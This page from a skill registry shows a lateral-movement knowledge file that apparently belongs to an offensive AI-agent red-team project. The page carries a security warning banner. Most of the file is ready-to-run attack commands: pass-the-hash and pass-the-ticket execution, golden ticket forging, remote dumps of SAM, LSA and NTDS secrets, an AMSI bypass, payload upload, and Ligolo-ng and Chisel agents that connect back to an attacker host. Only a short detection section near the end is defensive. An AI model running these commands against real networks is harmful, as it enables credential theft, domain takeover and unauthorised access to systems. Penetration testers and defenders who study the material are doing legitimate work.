CtrlK
BlogDocsLog inGet started
Tessl Logo

lateral-movement

Network lateral movement — Pass-the-Hash, Pass-the-Ticket, WMI/WinRM/PsExec/RDP execution, SMB operations, network tunneling with Ligolo-ng and Chisel.

62

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md
SKILL.md
Quality
Evals
Security

Lateral Movement Knowledge Base

Lateral movement uses captured credentials and network access to move between hosts in a compromised environment. Each technique has a different noise profile, artifact footprint, and prerequisite. Choose based on available credentials, target services, and OPSEC requirements.

Quick Reference

# Pass-the-Hash — command exec via SMB (CrackMapExec/NetExec)
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'

# WMI execution — semi-interactive shell
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# PsExec — SYSTEM shell via service creation
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Evil-WinRM — PowerShell remoting with hash
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>'

# SMB file operations
smbclient.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Ligolo-ng tunnel setup
./proxy -selfcert -laddr 0.0.0.0:11601          # Attacker
./agent -connect <ATTACKER_IP>:11601 -ignore-cert # Pivot host

MITRE ATT&CK Mapping

Technique IDNameTools
T1550.002Pass the HashCrackMapExec/NetExec, Impacket, Mimikatz
T1550.003Pass the TicketRubeus, Mimikatz
T1021.002SMB/Windows Admin Sharespsexec.py, smbexec.py, smbclient.py
T1021.006Windows Remote ManagementEvil-WinRM
T1021.001Remote Desktop ProtocolSharpRDP, xfreerdp
T1572Protocol TunnelingLigolo-ng, Chisel

1. Pass-the-Hash (PtH)

CrackMapExec / NetExec

# Execute command via SMB using NTLM hash
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'

# Execute PowerShell command
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -X 'Get-Process'

# Check local admin on multiple hosts (spray hash)
nxc smb <SUBNET>/24 -u '<USER>' -H '<NTLM_HASH>' | tee pth_spray_<TARGET>.log

# Dump SAM on remote host after PtH
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --sam

# Dump LSA secrets remotely
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --lsa

# Extract NTDS.dit from DC
nxc smb <DC_IP> -u '<USER>' -H '<NTLM_HASH>' --ntds

Impacket PtH Suite

# psexec with hash — returns SYSTEM shell
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# wmiexec with hash — returns user-context shell, fewer artifacts
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# smbexec with hash — no binary upload, uses service creation
smbexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# atexec with hash — uses scheduled task
atexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'whoami'

PtH Method Comparison

MethodShell ContextArtifactsBinary UploadNoise Level
psexec.pySYSTEMService creation (7045), ADMIN$ writeYes (.exe)High
wmiexec.pyUserWMI process creation, no serviceNoLow-Medium
smbexec.pySYSTEMService creation, no binary uploadNoMedium
atexec.pySYSTEMScheduled task creationNoMedium
nxc -xUserDepends on exec methodVariesMedium

2. Pass-the-Ticket (PtT)

Rubeus — Ticket Import & Use

# Import .kirbi ticket into current session
Rubeus.exe ptt /ticket:<BASE64_TICKET>

# Import from .kirbi file
Rubeus.exe ptt /ticket:C:\Windows\Temp\ticket.kirbi

# Request TGT with NTLM hash, then inject
Rubeus.exe asktgt /user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN> /ptt

# Request TGT with AES256 key (stealthier — avoids RC4 downgrade detection)
Rubeus.exe asktgt /user:<USER> /aes256:<AES_KEY> /domain:<DOMAIN> /ptt

# List cached tickets
Rubeus.exe triage
Rubeus.exe klist

# Harvest all tickets from memory
Rubeus.exe dump /nowrap

Mimikatz — Ticket Operations

# Import .kirbi ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

# List cached tickets
mimikatz.exe "kerberos::list" "exit"

# Golden Ticket (requires krbtgt hash — full domain compromise)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt" "exit"

# Silver Ticket (requires service account hash — specific service access)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<DOMAIN_SID> /target:<TARGET> /service:cifs /rc4:<SERVICE_HASH> /ptt" "exit"

Linux .ccache Ticket Import

# Convert .kirbi to .ccache for Linux tools
ticketConverter.py ticket.kirbi ticket.ccache

# Set Kerberos credential cache environment variable
export KRB5CCNAME=ticket.ccache

# Use ticket with Impacket tools
psexec.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'
wmiexec.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'
secretsdump.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'

3. WMI Execution

wmiexec.py — Semi-Interactive Shell

# With password
wmiexec.py '<DOMAIN>/<USER>:<PASS>@<TARGET>'

# With NTLM hash
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# With Kerberos ticket
export KRB5CCNAME=ticket.ccache
wmiexec.py -k -no-pass '<DOMAIN>/<USER>@<TARGET>'

# Single command execution
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'ipconfig /all'

# Specify output share (default: ADMIN$)
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -share C$

Why WMI?

  • No service creation: Unlike PsExec, WMI does not create a Windows service
  • User context: Runs as authenticated user, not SYSTEM
  • Fewer artifacts: No binary uploaded, no service event (7045)
  • Semi-interactive: Supports interactive command execution

4. WinRM — Evil-WinRM

Evil-WinRM Sessions

# With password
evil-winrm -i <TARGET> -u '<USER>' -p '<PASS>'

# With NTLM hash (pass-the-hash)
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>'

# With SSL (port 5986)
evil-winrm -i <TARGET> -u '<USER>' -p '<PASS>' -S

# Load PowerShell scripts from directory
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>' -s /opt/scripts/

# Load C# binaries (DLL) for in-memory execution
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>' -e /opt/binaries/

Evil-WinRM In-Session Commands

# File transfer
upload payload.exe C:\Windows\Temp\payload.exe
download C:\Windows\Temp\results.txt results.txt

# Load and execute .NET assembly (DLL)
Dll-Loader -http http://<ATTACKER_IP>/SharpHound.exe

# Execute PowerShell script loaded via -s flag
Invoke-Bloodhound -CollectionMethod All

# Bypass AMSI
Bypass-4MSI

# Check services, processes
services
menu

WinRM Prerequisites

- Port 5985 (HTTP) or 5986 (HTTPS) must be open
- User must be in "Remote Management Users" group or local admin
- WinRM service must be running on target
- Check: nxc winrm <TARGET> -u '<USER>' -p '<PASS>'

5. PsExec — Impacket

psexec.py — Service-Based Execution

# With password — returns SYSTEM shell
psexec.py '<DOMAIN>/<USER>:<PASS>@<TARGET>'

# With NTLM hash
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Execute specific command (non-interactive)
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'cmd.exe /c whoami && ipconfig'

# Use C$ share instead of ADMIN$
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -path C:\Windows

# Specify service name (avoid default detection)
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -service-name 'WinUpdSvc'

PsExec Artifacts

- Service binary uploaded to ADMIN$ share
- Service created (Event 7045: "Service was installed")
- Service started then deleted
- Named pipe communication for I/O
- SYSTEM context execution

6. RDP — Remote Desktop

SharpRDP (Programmatic RDP — No GUI)

# Execute command via RDP without GUI session
SharpRDP.exe computername=<TARGET> command="cmd.exe /c whoami > C:\Windows\Temp\rdp_test.txt" username=<DOMAIN>\<USER> password=<PASS>

# SharpRDP creates a console session and sends keystrokes programmatically

xfreerdp — CLI RDP Client

# Standard RDP with credentials
xfreerdp /v:<TARGET> /u:'<USER>' /p:'<PASS>' /d:'<DOMAIN>' /cert:ignore /dynamic-resolution

# Pass-the-Hash via RDP (restricted admin mode required)
xfreerdp /v:<TARGET> /u:'<USER>' /pth:<NTLM_HASH> /d:'<DOMAIN>' /cert:ignore

# Enable restricted admin mode remotely (requires admin on target first)
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f'

# RDP with file sharing
xfreerdp /v:<TARGET> /u:'<USER>' /p:'<PASS>' /drive:share,. /cert:ignore

7. SMB Lateral — File Operations

smbexec.py — Command Execution via SMB

# Command shell via service creation (no binary upload)
smbexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Uses cmd.exe output redirection through a share

smbclient.py — File Operations

# Interactive SMB client
smbclient.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Available commands inside session:
# shares          - list available shares
# use <SHARE>     - connect to a share
# ls              - list directory
# get <FILE>      - download file
# put <FILE>      - upload file
# cd <DIR>        - change directory
# cat <FILE>      - read file content

# Mount SMB share (Linux)
mount -t cifs //<TARGET>/<SHARE> /mnt/smb -o username='<USER>',password='<PASS>',domain='<DOMAIN>'

NetExec SMB Operations

# List shares
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --shares

# Spider shares for sensitive files
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -M spider_plus -o OUTPUT=spider_<TARGET>.json

# Upload file
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --put-file payload.exe '\\Windows\\Temp\\payload.exe'

# Download file
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --get-file '\\Windows\\Temp\\results.txt' results.txt

8. Network Tunneling & Pivoting

Ligolo-ng — Modern Tunneling

# === ATTACKER MACHINE (Proxy) ===
# Start Ligolo proxy with self-signed cert
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# === PIVOT HOST (Agent) ===
# Upload and run agent — connects back to proxy
./agent -connect <ATTACKER_IP>:11601 -ignore-cert

# === ATTACKER MACHINE — After agent connects ===
# In Ligolo proxy console:
session                                          # Select the agent session
ifconfig                                         # View pivot host interfaces
start                                            # Start the tunnel

# Add route to internal network through tunnel
sudo ip route add <INTERNAL_SUBNET>/24 dev ligolo

# Now scan/access internal network directly from attacker
nmap -sS -sV -p 445,3389,5985 <INTERNAL_TARGET>
nxc smb <INTERNAL_TARGET> -u '<USER>' -H '<NTLM_HASH>'

# Add listener (reverse shell from internal network back to attacker)
# In Ligolo console:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

Chisel — HTTP Tunnel

# === ATTACKER MACHINE (Server) ===
./chisel server --reverse -p 8080

# === PIVOT HOST (Client) ===
# SOCKS proxy (route traffic through pivot host)
./chisel client <ATTACKER_IP>:8080 R:1080:socks

# Port forward (specific port)
./chisel client <ATTACKER_IP>:8080 R:9999:<INTERNAL_TARGET>:445

# === ATTACKER MACHINE — Use the tunnel ===
# SOCKS: use proxychains with the tunnel
proxychains nxc smb <INTERNAL_TARGET> -u '<USER>' -H '<NTLM_HASH>'

# Port forward: access directly
smbclient.py '<DOMAIN>/<USER>@127.0.0.1' -hashes :<NTLM_HASH> -port 9999

Proxychains Configuration

# /etc/proxychains4.conf — add at bottom:
# For Ligolo-ng (no proxychains needed — direct routing)
# For Chisel SOCKS:
socks5 127.0.0.1 1080

# Usage:
proxychains nmap -sT -p 445,3389 <INTERNAL_TARGET>
proxychains evil-winrm -i <INTERNAL_TARGET> -u '<USER>' -H '<NTLM_HASH>'

Tunnel Method Comparison

MethodProtocolSpeedStealthSetup Complexity
Ligolo-ngTLSFastHighMedium (tun interface)
ChiselHTTP/WSMediumMediumLow (single binary)
SSH (-D)SSHMediumLowLow (if SSH available)
MeterpreterCustomSlowLowLow (but detectable)

Tools & Resources

ToolPurposeKey Flags
NetExec (nxc)PtH, spray, enum, file ops-H, -x, -X, --shares
psexec.pySYSTEM shell via service-hashes, -service-name
wmiexec.pySemi-interactive user shell-hashes, -share
smbexec.pyShell via SMB service-hashes
smbclient.pySMB file operations-hashes, shares, get, put
Evil-WinRMPowerShell remoting-H, -s, -e, upload, download
RubeusKerberos ticket opsptt, asktgt, dump, triage
MimikatzTicket import, golden/silverkerberos::ptt, kerberos::golden
SharpRDPProgrammatic RDP execcomputername=, command=
xfreerdpCLI RDP with PtH/pth:, /drive:
Ligolo-ngTLS tunneling agent/proxy-selfcert, -connect
ChiselHTTP/SOCKS tunnelserver --reverse, client R:socks

Detection Signatures

Event IDSourceIndicator
4624 (Type 3)SecurityNetwork logon — PtH/remote access
4624 (Type 10)SecurityRemote interactive (RDP) logon
7045SystemService installed — PsExec service creation
4648SecurityExplicit credential logon — alternate credential use
5140SecurityNetwork share access — ADMIN$, C$, IPC$
5145SecurityDetailed share access — file operations auditing
4688SecurityProcess creation — command execution on target
4697SecurityService installed — persistent service-based exec
1 (Sysmon)SysmonProcess creation with network parent (WMI, service)
3 (Sysmon)SysmonNetwork connection — tunnel/pivot traffic patterns

Key Detection Patterns

# PtH detection: Type 3 logon with NTLM + non-standard source
- EventID: 4624
  LogonType: 3
  AuthenticationPackageName: NTLM (not Kerberos)
  Source: Non-standard workstation

# PsExec detection: Service creation + ADMIN$ access
- EventID: 7045 (service install) + EventID: 5140 (ADMIN$ share access)

# WMI detection: WmiPrvSE.exe spawning child process
- ParentImage|endswith: '\WmiPrvSE.exe'

# Tunnel detection: Single host with sustained high-volume bidirectional traffic
# to external IP on unusual port (11601 for Ligolo, 8080 for Chisel)

Decision Gate

Lateral Movement ─┬─► Credential Access
                  │    (dump creds on newly accessed hosts — escalate domain access)
                  │
                  └─► Discovery
                       (enumerate new network segments, AD objects, shares from pivot)

Next steps after successful lateral movement:

  • New host accessed → Dump credentials (SAM, LSASS, cached creds) → Credential Access skill
  • Internal network reached → Enumerate AD, scan internal hosts → Discovery
  • Domain Controller reached → DCSync, NTDS extraction → Credential Access skill
  • Pivot established → Scan internal subnets through tunnel → Active Recon skill
  • High-value target found → Check for privilege escalation paths → Privilege Escalation skill
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.